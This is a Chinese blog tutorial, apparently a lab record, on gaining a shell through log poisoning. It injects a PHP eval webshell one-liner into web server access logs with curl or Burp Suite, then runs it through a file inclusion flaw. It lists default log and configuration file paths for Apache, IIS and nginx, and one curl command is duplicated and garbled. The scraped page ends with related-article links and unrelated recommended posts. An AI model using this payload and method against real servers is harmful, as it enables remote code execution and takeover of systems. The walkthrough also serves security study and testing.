包含日志文件getshell
 
 
一、包含日志文件漏洞利用概述
 
        当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。        利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。二、漏洞利用条件
       (1) 日志的物理存放路径
       (2) 存在文件包含漏洞

 

(3) curl命令行url请求工具 或者 burpsuit代理;(避免url转码的存在)

(3) curl命令行url请求工具 或者 burpsuit代理;
三、 获取日志存放路径

一)日志默认路径
 
(1) apache+Linux日志默认路径
 
        /etc/httpd/logs/access_log
 
或者
               
        /var/log/httpd/access_log
 
(2) apache+win2003日志默认路径
 
        D:\xampp\apache\logs\access.log
        D:\xampp\apache\logs\error.log
 
(3) IIS6.0+win2003默认日志文件
 
        C:\WINDOWS\system32\Logfiles
 
(4) IIS7.0+win2003 默认日志文件
 
        %SystemDrive%\inetpub\logs\LogFiles
 
(5) nginx 日志文件
 
        日志文件在用户安装目录logs目录下
                以我的安装路径为例/usr/local/nginx,
                那我的日志目录就是在/usr/local/nginx/logs里
 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
二)web中间件默认配置
 
(1) apache+linux 默认配置文件
 
        /etc/httpd/conf/httpd.conf
或者
         index.php?page=/etc/init.d/httpd
 
(2) IIS6.0+win2003 配置文件
 
        C:/Windows/system32/inetsrv/metabase.xml
 
(3) IIS7.0+WIN 配置文件
 
        C:\Windows\System32\inetsrv\config\applicationHost.config
        

四、实践测试记录       一) 工具准备       (1) curl 命令行url访问工具或者       (2) burpsuit 代理工具
       二)使用浏览器直接构造一句话写入日志测试记录             (1)浏览器构造一句话报错       首先,我们直接使用浏览器来构造“php一句话报错请求信息”然服务自动记录此一句话信息到服务器日志文件中;       具体构造内容:  http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>

                ">"  ----> 小于号被转码为了 %3E
                " "   ----> 空格被转码为了 %20
                最后写入到日志文件中的一句话就变成了  %3C?php%20@eval($_POST[123]);?%3E。
         (4) 失败总结
                 浏览器直接构造的PHP一句话中特殊字符,会被浏览器自动进行URL转义,导致最终写入日志文件中的PHP一句话包含了这些特殊字符,而这些转码后的编码PHP并不能进行正常的解析。
           
      三)curl 构造一句话,写入日志文件测试记录
       (1) curl 构造一句话写入服务日志文件             构造语句:  D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"
 
   
                
              curl构造一句话时,需要注意两点:
               1)请求的资源对象,需要被双引号包含,不然会报错;
            2) php一句话中的 综括号[ ]curl是特殊符号,需要进行转义 \[ \],不然curl使用时也会报错;
        (2)测试结果:成功
  
 
             
 
       (3) 成功原因
              Curl 命令行url资源请求,没有像浏览器对特殊字符进行url的转码,所以原封不动的将请求报错的php一句话信息写入了服务日志文件中。随后我们利用文件包含漏洞正常包含解析了本地服务器的日志文件中夹带的“php一句话木马”;
 
        四)burpsuit 代理抓包改包构造一句话写入日志文件
 
       (1) burpsuit 代理抓包,修改浏览器转码字符,写入正确的php一句话木马到服务器日志文件。
 
 
       (2) 测试记录:成功
        通过文件包含直接访问服务日志文件,发现一句话被继续成功; 
 
 
       (3)成功原因
        使用burpsuit修改了浏览器访问转码的字符,事情安装我们一句话原本的格式记录进日志文件,并能被php正常解析。    
 

包含日志文件getshell的更多相关文章

  1. 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell

    0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  2. 利用日志文件getshell

    一.包含日志文件漏洞利用概述           当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件.        利用思路也比较简单,当我们访 ...

  3. 扔掉log4j、log4j2,自己动手实现一个多功能日志记录框架,包含文件,数据库日志写入,实测5W+/秒日志文件写入,2W+/秒数据库日志写入,虽然它现在还没有logback那么强大

    讲到log4j,现在国外基本是没有开发者用这个框架了,原因大致有几点,1.功能太少:2.效率低下:3.线程锁bug等等等各种莫名其妙的bug一直都没解决. 其实最重要的是log4j的作者自己也放弃了l ...

  4. 【.net 深呼吸】写入日志文件

    记录日志,一方面可以把日志写入系统的日志存储中,可在“事件查看器”窗口中查看:如果不喜欢写到系统的日志文件中,也可以写到自己定义的文件中. 其实,日志文件就是文本文件,可能有朋友会想到用写入文本文件的 ...

  5. [转]ASP.NET Core 开发-Logging 使用NLog 写日志文件

    本文转自:http://www.cnblogs.com/Leo_wl/p/5561812.html ASP.NET Core 开发-Logging 使用NLog 写日志文件. NLog 可以适用于 . ...

  6. ORACLE告警日志文件

    告警日志介绍 告警日志文件是一类特殊的跟踪文件(trace file).告警日志文件命名一般为alert_<SID>.log,其中SID为ORACLE数据库实例名称.数据库告警日志是按时间 ...

  7. ORACLE 移动数据文件 控制文件 重做日志文件

    ORACLE数据库有时候需要对存储进行调整,增加分区.IO调优等等,此时需要移动数据文件.重做日志文件.控制文件等等,下文结合例子总结一下这方面的知识点. 进行数据文件.重做日志文件.控制文件的迁移前 ...

  8. 如何让Log4net日志文件按每月归成一个文件夹,StaticLogFileName参数的用法

    想要让Log4net日志(以下称日志)按每月自动归类为一个文件夹,为此,学习和修改了log4net.config文件.查了资料,重点是以下这些参数:      <param name=" ...

  9. ubuntu/var/log/下各个日志文件

    ubuntu/var/log/下各个日志文件 本文简单介绍ubuntu/var/log/下各个日志文件,方便出现错误的时候查询相应的log   /var/log/alternatives.log-更新 ...

随机推荐

  1. 【原】RHEL6.0企业版安装

    作者:david_zhang@sh [转载时请以超链接形式标明文章] 链接:http://www.cnblogs.com/david-zhang-index/p/4166846.html 本文适用RH ...

  2. 解决在IE11浏览器上,css样式不起作用的问题

    1.首先下载http://pan.baidu.com/s/1c1DA1Ew并运行; 2.在列表中找到.css双击出现Edit File Type; 3.将MIME Type中改为text/css,点击 ...

  3. Asset Catalog Help (九)---Changing Image Set Names

    Changing Image Set Names Use the Attributes inspector to edit a set’s name. 使用属性检查器(Attributes inspe ...

  4. git如何做个人构建

    1      基本概念 1.1      Git:Git是一个版本控制的工具,类似于svn. 1.2      Gerrit:Gerrit是一个基于git的团队合作的工具,开发人员可以往上面提交代码, ...

  5. js引用类型的赋值

    在开发中,有时候需要将数组或者对象的值赋予其他另一个变量,但是两个变量之间会相互影响,因为在将引用类型的值赋给其他变量时,赋予的其实是内存中的存储地址 var arr = [1,2,3,4,5] va ...

  6. IETester for IE11, IE10, IE9, IE8, IE7 IE 6 and IE5.5 on Windows 8 desktop, Windows 7, Vista and XP

    简介: IETester是一个免费的(用于个人和专业用途)WebBrowser,允许您在Windows 8桌面,Windows 7,Vista和XP上拥有IE11,IE10,IE9,IE8,IE7 I ...

  7. Unity3D研究院之IOS Android支持中文与本地文件的读取写

       前几天有个朋友问我为什么在IOS平台中可以正常的读写文件可是在Android平台中就无法正常的读写.当时因为在上班所以我没时间来帮他解决,晚上回家后我就拿起安卓手机真机调试很快就定位问题所在,原 ...

  8. C++函数调用过程深入分析

    http://blog.csdn.net/dongtingzhizi/article/details/6680050 0. 引言 函数调用的过程实际上也就是一个中断的过程,那么C++中到底是怎样实现一 ...

  9. WinMain和main

    WinMain的原型: int WINAPI WinMain(HINSTANCE hinstance,//程序本身的实例句柄                                  HINS ...

  10. 笔记-JavaWeb学习之旅9

    XML Extensible Markup Language 可扩展标记语言 功能:配置文件,在网络中传输 基本语法 1.xml文档的后缀名.xml 2.xml第一行必须定义为文档声明 3.xml文档 ...